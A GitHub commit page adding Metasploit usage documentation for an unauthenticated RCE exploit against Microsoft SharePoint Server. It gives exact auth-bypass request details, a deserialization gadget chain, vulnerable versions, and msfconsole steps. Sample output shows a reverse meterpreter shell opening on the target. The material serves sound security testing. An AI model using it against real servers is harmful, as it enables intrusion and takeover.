Skip to content

Commit b6dc086

Browse files
bwatters-r7bwatters-r7
authored
Merge pull request #20409 from sfewer-r7/sharepoint-hax
Exploit module for Microsoft SharePoint ToolPane Unauthenticated RCE (CVE-2025-53770 and CVE-2025-53771)
2 parents 00ea226 + 0a923a6 commit b6dc086

File tree

2 files changed

+527
-0
lines changed

2 files changed

+527
-0
lines changed

‎documentation/modules/exploit/windows/http/sharepoint_toolpane_rce.md

Lines changed: 191 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,191 @@
1+
## Vulnerable Application
2+
This module exploits the authentication bypass vulnerabilities `CVE-2025-49706` and `CVE-2025-53771`, and an unsafe
3+
deserialization vulnerability `CVE-2025-49704`, to achieve unauthenticated RCE against a vulnerable Microsoft
4+
SharePoint Server. The vulnerability `CVE-2025-53770` was disclosed as being a patch bypass of `CVE-2025-49704`,
5+
and as described by the finders, `CVE-2025-53770` targets a different endpoint within the `/_vti_bin/` URI path.
6+
As this exploit module does not target the endpoint associated with `CVE-2025-53770` (per the original finders),
7+
we believe this module is best described as exploiting `CVE-2025-49704` alone (and not `CVE-2025-53770`).
8+
9+
`CVE-2025-49706` is an authentication bypass affecting Microsoft SharePoint Server, allowing a remote unauthenticated
10+
attacker to reach the ToolPane page, located at the `/_layouts/15/ToolPane.aspx` URI. The auth bypass works if an
11+
attacker supplies the following elements to an HTTP request:
12+
13+
* An HTTP Referer header with one of the values `/_layouts/SignOut.aspx`, `/_layouts/14/SignOut.aspx`, or `/_layouts/15/SignOut.aspx`.
14+
* An HTTP query parameter named `DisplayMode` with the value `Edit`.
15+
* An HTTP query parameter with any name and the value `/ToolPane.aspx`, so long as this is the last query parameter.
16+
* An HTTP form parameter named `MSOTlPn_Uri` with the full URL to the `/_controltemplates/15/AclEditor.ascx` endpoint.
17+
18+
`CVE-2025-53771` is a patch bypass for `CVE-2025-49706`. By appending a trailing `/` to the target
19+
`/_layouts/15/ToolPane.aspx` URI, e.g. `/_layouts/15/ToolPane.aspx/` a remote unauthenticated attacker can reach
20+
the ToolPane page.
21+
22+
`CVE-2025-49704` is an unsafe deserialization vulnerability due to bypassing a filter list to allow the instantiation of
23+
`LosFormatter` and `ObjectDataProvider` in the `diffgr:diffgram` XML document, allowing us to kick off a second
24+
stage deserialization gadget (which will be a `TypeConfuseDelegate` + `LosFormatter` gadget chain).
25+
26+
The July 8, 2025, patch for `CVE-2025-49704` did not apply correctly to a SharePoint site that had not also manually run
27+
a SharePoint configuration update. The patch for `CVE-2025-49704` did not address the root cause, and instead marked the
28+
`Microsoft.PerformancePoint.Scorecards.Client` assembly as unsafe. The July 19, 2025, patch for `CVE-2025-53770`
29+
addresses the root cause of `CVE-2025-49704` and does not rely on a manual configuration update to be performed in
30+
order to be affective.
31+
32+
## Testing
33+
This exploit module has been successfully tested against the following versions:
34+
35+
* SharePoint Server 2019 `16.0.10337.12109` - This is the RTM version. Is vulnerable to all 4 CVEs. Exploitation
36+
is reliable.
37+
* SharePoint Server 2019 `16.0.10417.20018` - This is the June 2025 patch level (`KB 5002729)`. Is vulnerable to
38+
all 4 CVEs. Exploitation is reliable.
39+
* SharePoint Server 2019 `16.0.10417.20027` - This is the July 2025 patch level (`KB 5002741`). This patched
40+
out `CVE-2025-49704` and `CVE-2025-49706`, but is vulnerable to `CVE-2025-53770` and `CVE-2025-53771`. Exploitation is
41+
reliable **unless the site administrator has manually performed a configuration update**.
42+
43+
### Setup
44+
45+
Installing Microsoft SharePoint is non-trivial. This [setup guide](https://gist.github.com/testanull/e1573437f91ec3726ab5041389c6f28d)
46+
is a great step-by-step tutorial to get up and running.
47+
48+
After you install SharePoint, you must create a new site, bound to a new port. This is what the exploit will target.
49+
50+
_NOTE: If you enable HTTPS, you will need to manually setup certificates via IIS Manager._
51+
52+
## Verification Steps
53+
54+
1. Start msfconsole
55+
2. `use exploit/windows/http/sharepoint_toolpane_rce`
56+
57+
Configure the target:
58+
59+
3. `set RHOST <TARGET_IP_ADDRESS>`
60+
4. `set RPORT <TARGET_HTTP_OR_HTTPS_PORT>`
61+
5. `set SSL true` (If targeting HTTPS)
62+
63+
Configure the payload:
64+
65+
_NOTE: If testing with the default Meterpreter payloads, you will likely need to disable Defender._
66+
67+
6. `set PAYLOAD cmd/windows/http/x64/meterpreter_reverse_tcp`
68+
7. `set LHOST eth0`
69+
8. `set LPORT 4444`
70+
71+
Run the exploit:
72+
73+
9. `check`
74+
10. `exploit`
75+
76+
## Scenarios
77+
78+
### Example 1 (cmd/windows/http/x64/meterpreter_reverse_tcp)
79+
80+
```
81+
msf exploit(windows/http/sharepoint_toolpane_rce) > show options
82+
83+
Module options (exploit/windows/http/sharepoint_toolpane_rce):
84+
85+
Name Current Setting Required Description
86+
---- --------------- -------- -----------
87+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
88+
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
89+
RPORT 80 yes The target port (TCP)
90+
SSL false no Negotiate SSL/TLS for outgoing connections
91+
VHOST no HTTP server virtual host
92+
93+
94+
Payload options (cmd/windows/http/x64/meterpreter_reverse_tcp):
95+
96+
Name Current Setting Required Description
97+
---- --------------- -------- -----------
98+
EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none)
99+
EXTENSIONS no Comma-separate list of extensions to load
100+
EXTINIT no Initialization strings for extensions
101+
FETCH_COMMAND CERTUTIL yes Command to fetch payload (Accepted: CURL, TFTP, CERTUTIL)
102+
FETCH_DELETE true yes Attempt to delete the binary after execution
103+
FETCH_FILENAME ccMNrNsj no Name to use on remote system when storing payload; cannot contain spaces or slashes
104+
FETCH_SRVHOST no Local IP to use for serving payload
105+
FETCH_SRVPORT 8080 yes Local port to use for serving payload
106+
FETCH_URIPATH no Local URI to use for serving payload
107+
FETCH_WRITABLE_DIR %TEMP% yes Remote writable dir to store payload; cannot contain spaces.
108+
LHOST 192.168.86.122 yes The listen address (an interface may be specified)
109+
LPORT 4444 yes The listen port
110+
111+
112+
When FETCH_COMMAND is one of CURL:
113+
114+
Name Current Setting Required Description
115+
---- --------------- -------- -----------
116+
FETCH_PIPE false yes Host both the binary payload and the command so it can be piped directly to the shell.
117+
118+
119+
Exploit target:
120+
121+
Id Name
122+
-- ----
123+
0 Default
124+
125+
126+
127+
View the full module info with the info, or info -d command.
128+
129+
msf exploit(windows/http/sharepoint_toolpane_rce) > check
130+
[*] 192.168.86.50:80 - The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
131+
msf exploit(windows/http/sharepoint_toolpane_rce) > exploit
132+
[*] Started reverse TCP handler on 192.168.86.122:4444
133+
[*] Running automatic check ("set AutoCheck false" to disable)
134+
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
135+
[*] Meterpreter session 3 opened (192.168.86.122:4444 -> 192.168.86.50:62290) at 2025-07-23 12:58:41 +0100
136+
137+
meterpreter > sysinfo
138+
Computer : WIN-V28QNSO2H05
139+
OS : Windows Server 2022 (10.0 Build 20348).
140+
Architecture : x64
141+
System Language : en_US
142+
Domain : TESTDOMAIN
143+
Logged On Users : 24
144+
Meterpreter : x64/windows
145+
meterpreter > pwd
146+
c:\windows\system32\inetsrv
147+
meterpreter >
148+
```
149+
150+
### Example 2 (cmd/windows/generic)
151+
152+
```
153+
msf exploit(windows/http/sharepoint_toolpane_rce) > show options
154+
155+
Module options (exploit/windows/http/sharepoint_toolpane_rce):
156+
157+
Name Current Setting Required Description
158+
---- --------------- -------- -----------
159+
Proxies no A proxy chain of format type:host:port[,type:host:port][...]. Supported proxies: sapni, socks4, socks5, socks5h, http
160+
RHOSTS 192.168.86.50 yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
161+
RPORT 80 yes The target port (TCP)
162+
SSL false no Negotiate SSL/TLS for outgoing connections
163+
VHOST no HTTP server virtual host
164+
165+
166+
Payload options (cmd/windows/generic):
167+
168+
Name Current Setting Required Description
169+
---- --------------- -------- -----------
170+
CMD notepad.exe yes The command string to execute
171+
172+
173+
Exploit target:
174+
175+
Id Name
176+
-- ----
177+
0 Default
178+
179+
180+
181+
View the full module info with the info, or info -d command.
182+
183+
msf exploit(windows/http/sharepoint_toolpane_rce) > exploit
184+
[*] Running automatic check ("set AutoCheck false" to disable)
185+
[+] The target appears to be vulnerable. Detected Microsoft SharePoint Server 2019 version 16.0.10417.20027
186+
[*] Exploit completed, but no session was created.
187+
msf exploit(windows/http/sharepoint_toolpane_rce) >
188+
```
189+
190+
You will be able to observe in Task Manager or Process Explorer that the `w3wp.exe` process has spawned `cmd.exe` which
191+
has spawned `notepad.exe`.

0 commit comments

Comments
 (0)